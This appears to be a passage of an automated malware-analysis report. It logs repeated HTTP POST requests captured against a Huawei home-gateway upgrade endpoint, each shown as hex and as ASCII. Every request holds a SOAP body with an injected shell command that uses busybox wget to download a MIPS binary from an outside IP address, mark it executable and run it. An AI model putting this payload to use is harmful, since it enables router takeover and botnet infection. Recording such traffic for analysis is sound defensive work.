65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusUR
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
